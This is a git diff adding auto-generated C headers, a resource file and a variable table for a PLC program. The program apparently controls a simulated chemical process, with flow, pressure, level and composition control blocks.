__DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; 